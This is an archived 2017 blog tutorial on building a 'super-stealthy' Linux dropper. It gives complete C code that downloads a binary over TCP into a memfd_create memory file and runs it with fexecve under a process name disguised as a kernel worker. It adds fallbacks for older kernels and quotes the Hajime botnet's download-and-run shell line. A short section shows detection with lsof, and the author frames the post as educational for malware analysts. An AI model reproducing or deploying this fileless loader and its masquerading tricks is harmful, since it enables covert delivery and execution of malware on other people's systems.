Super-Stealthy Droppers

By 0x00pf (pico)

Published: 2017-09-25 · Archived: 2026-04-05 12:54:55 UTC

Some weeks ago I found [this interesting article] (https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html), about injecting code in running processes without using `ptrace`. The article is very interesting and I recommend you to read it, but what caught my attention was a brief sentence towards the end. Actually this one:

> The current payload in use is a simple `open/memfd_create/sendfile/fexecve` program

I've never heard before about `memfd_create` or `fexecve` … that's why this sentence caught my attention.

In this paper we are going to talk about how to use these functions to develop a super-stealthy dropper. You could consider it as a malware development tutorial… but you know that it is illegal to develop and also to deploy malware. This means that, this paper is only for educational purposes… because, after all, a malware analyst needs to know how malware developers do their stuff in order to identify it, neutralise it and do what is needed to keep systems safe.

`memfd_create` and `fexecve`

So, after reading that intriguing sentence, I googled those two functions and I saw they were pretty cool. The first one is actually pretty awesome, it allows us to create a file in memory. We have quickly talked about this in [a previous paper] (https://0x00sec.org/t/running-binaries-without-leaving-tracks/2166), but for that we were just using `/dev/shm` to store our file. That folder is actually stored in memory so, whatever we write there does not end up in the hard-drive (unless we run out of memory and we start swapping). However, the file was visible with a simple `ls`.

`memfd_create` does the same, but the *memory disk* it uses is not mapped into the file system and therefore you cannot find the file with a simple `ls`. :o

The second one, `fexecve` is also pretty awesome. It allows us to execute a program (exactly the same way that `execve`), but we reference the program to run using a file descriptor, instead of the full path. And this one matches perfectly with `memfd_create`.

But there is a caveat with this function calls. They are relatively new. `memfd_create` was introduced in kernel 3.17 and `fexecve` is a `libc` function available since version 2.3.2. While, `fexecve` can be easily implemented when not available (we will see that in a sec), `memfd_create` is just not there on old kernels…

What does this means?. It means that, at least nowadays, the technique we are going to describe will not work on embedded devices that usually run old kernels and have stripped-down versions of libc. Although, I haven't

checked the availability of `fexecve` in for instance some routers or Android phones, I believe it is very likely that they are not available. If anybody knows, please drop a line in the comments.

A simple dropper

In order to figure out how these two little guys work, I wrote a simple dropper. Well, it is actually a program able to download some binary from a remote server and run it directly into memory, without dropping it in the disk.

Before continuing, let's check the Hajime case we described [towards the end of this post] (https://0x00sec.org/t/iot-malware-droppers-mirai-and-hajime/1966). There you will find a cryptic shell line that basically creates a file with execution permissions to drop into it another file which is downloaded from the net. Then the downloaded program gets executed and deleted from the disk. In case you don't want to open the link again, this is the line I'm talking about:

```
cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI
```

We are going to write a version of `.s` that, once executed, will do exactly the same that the cryptic shell line above.

Let's first take a look to the code and then we can comment it.

The code

This is the code:

```
 #include <stdio.h>
#include <stdlib.h>

#include <sys/syscall.h>

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define __NR_memfd_create 319
#define MFD_CLOEXEC 1

static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

extern char        **environ;

int main (int argc, char **argv) {
```

```
  int               fd, s;
  unsigned long     addr = 0x0100007f11110002;
  char              *args[2]= {"[kworker/u!0]", NULL};
  char              buf[1024];

  // Connect
  if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1);
  if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1);
  if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1);

  while (1) {
      if ((read (s, buf, 1024) ) <= 0) break;
      write (fd, buf, 1024);
    }
  close (s);

  if (fexecve (fd, args, environ) < 0) exit (1);

  return 0;

}
```

It is pretty short and simple, isn't it?. But there are a couple of things we have to say about it.

Calling `memfd_create`

The first thing we have to comment is that, there is no `libc` wrapper to the `memfd_create` system call. You would find this information in the `memfd_create` manpage's NOTES section. That means that we have to write our own wrapper.

First, we need to figure out the syscall index for `memfd_create`. Just use any on-line syscall list. Remember that the indexes changes with the architecture, so if you plan to use the code on an ARM or a MIPS, you may need to use a different index. The index we used `319` is for `x86_64`.

You can see the wrapper at the very beginning of the code (just after the `#include` directives), using the `syscall` libc function.

Then, the program just does the following:

- Create a normal TCP socket
- Connect to port 0x1111 on 127.0.0.1 using family `AF_INET`… We have packed all this information in a `long` variable to make the code shorter… but you can easily modify this information taking into account that:

```
    addr = 01 00 00  7f   1111  0002;
           1. 0. 0.127   1111  0002;
```

```
           +------------+------+----
             IP Address | Port | Family
```

Of course this is not standard and whenever the `struct sockaddr_in` change, the code will break down… but it was cool to write it like this :stuck_out_tongue:

- Creates a memory file
- Reads data from the socket and writes it into the memory file
- Runs the memory file once all the data has been transferred.

That's it… very simple and straightforward.

Testing

So, now it is time to test it. According to our long constant in the `main` function, the `dropper` will connect to port `0x1111` on localhost (`127.0.0.1`). So we will improvise a file server with `netcat` .

In one console we just run this command:

```
$ cat /usr/bin/xeyes | nc -l $((0x1111))
```

You can chose whatever binary you prefer. I like those little eyes following my mouse pointer all over the place

Then in another console we run the dropper, and those funny `xeyes` should pop-up in your screen. Let's see which tracks we can find after running the remote code.

Detecting the dropper

Spotting the process is difficult because we have given it a funny name (`kworker/u!0`). Note the `!` character that is just there to allow me to quickly identify the process for debugging purposes. In reality, you would like to use a `:` so the process looks like one of those kernel workers. But, let's look at the `ps` output.

```
 $ ps axe
(...)
 2126 ?        S      0:00 [kworker/0:0]
 2214 pts/0    S+     0:00 [kworker/u!0]
(...)
```

You can see the output for a legit `kworker` process in the first line, and then you find our doggy program in the second line… which is associated to a pseudo-terminal!!!.. I think this can be easily avoided… but I will leave this to you to sharp your UNIX development skills :wink:

However, even if you detach the process from the pseudo-terminal…

Invisible file

We mentioned that `memfd_create` will create a file in a RAM filesystem that is not mapped into the normal filesystem tree… at least, if it is mapped, I couldn't find where. So far this looks like a pretty stealth way to drop a file!!

However, let's face it, if there is a file somewhere, there should be a way to find it… shouldn't it? Of course it is. But, when you are in this kind of troubles… who you gonna call?.. Sure… Ghostbusters!. And you know what?, for GNU/Linux systems the way to bust ghosts is using `lsof` :).

```
 $ lsof | grep memfd
3         2214           pico  txt       REG               0,5    19928      28860 /memfd:a (deleted)
```

So, we can easily find any `memfd` file in the system using `lsof`. Note that `lsof` will also indicate the associated PID so we can also easily pin point the dropped process even when it is using some name camouflage and it is not associated to a pseudo-terminal!!!

What if `memfd_open` is not available?

We have mentioned that `memfd_open` is only available on kernels 3.17 or higher. What can be done for other kernels?. In this case we will be a bit less stealthy but we can still do pretty well.

Our best option in this case is to use `shm_open` (SHared Memory Open). This function basically creates a file under `/dev/shm` … however, this one will be visible with `ls`, but at least we avoid writing to the disk. The only difference between using `shm_open` or just `open` is that `shm_open` will create the files directly under `/dev/shm`. While, when using `open` we have to provide the whole path.

To modify the dropper to use `shm_open` we have to do two things.

First we have to substitute the `memfd_create` call by a `shm_open` call like this:

```
 (...)
if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1);
(...)
```

The second thing is that we need to close the file and re-open it read-only in order to be able to execute it with `fexecve`. So, after the while loop that populates the file we have to close and re-open the file:

```
 (...)
  close (fd);

  if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1);
(...)
```

However note that, now it does not make much sense to use `fexecve` and we can avoid reopening the file read-only and just call `execve` on the file created at `/dev/shm/` which is effectively the same and it is also shorter.

… and what if `fexecve` is not available?

This one is pretty easy, whenever you get to know how `fexecve` works. How can you figure out how the function works?.. just google for its source code!!!. A hint is provided in the man page tho:

> NOTES
> On Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and available at the time of the call.

So, what it does is to just use `execve` but providing as file path the file descriptor entry under `/proc`. Let's elaborate this a bit more. You know that each open file is identified by an integer and you also know that each process in your GNU/Linux system exports all its related information under the `proc` pseudo file system in a folder named against its PID (supposing the `proc` file system is mounted). Well, inside that folder you will find another folder named `fd` containing a file per each file descriptor opened by the process. Each file is named against its actual file descriptor, that is, the integer number.

Knowing all this, we can run a file identified by a file descriptor just passing the path to the right file under `/proc/PID/fd/THE_FD` to `execve`. A basic implementation of `fexecve` will look like this:

```
 int
my_fexecve (int fd, char **arg, char **env) {
  char  fname[1024];

  snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd);
  execve (fname, arg, env);
  return 0;
}
```

This implementation of `fexecve` is completely equivalent to the standard one… well it is missing some sanity checks but, after all, we're living in the edge :P.

As mentioned before, this is very convenient to be used together with `memfd_open` that returns to us a file descriptor and does not require the `close/open` sequence. Otherwise, when there is a file somewhere, even in memory, it is even faster to just use `execve` as you can infer from the implementation above.

Conclusions

Well, this is it. Hope you have found this interesting. It was interesting for me. Now, after having read this paper, you should be able to figure out what the *open/memfd_create/sendfile/fexecve* we mentioned at the beginning means…

We have also seen a quite stealthy technique to drop files in a remote system. And we have also learn how to detect the dropper even when it may look invisible at first glance.

You can download all the code from:
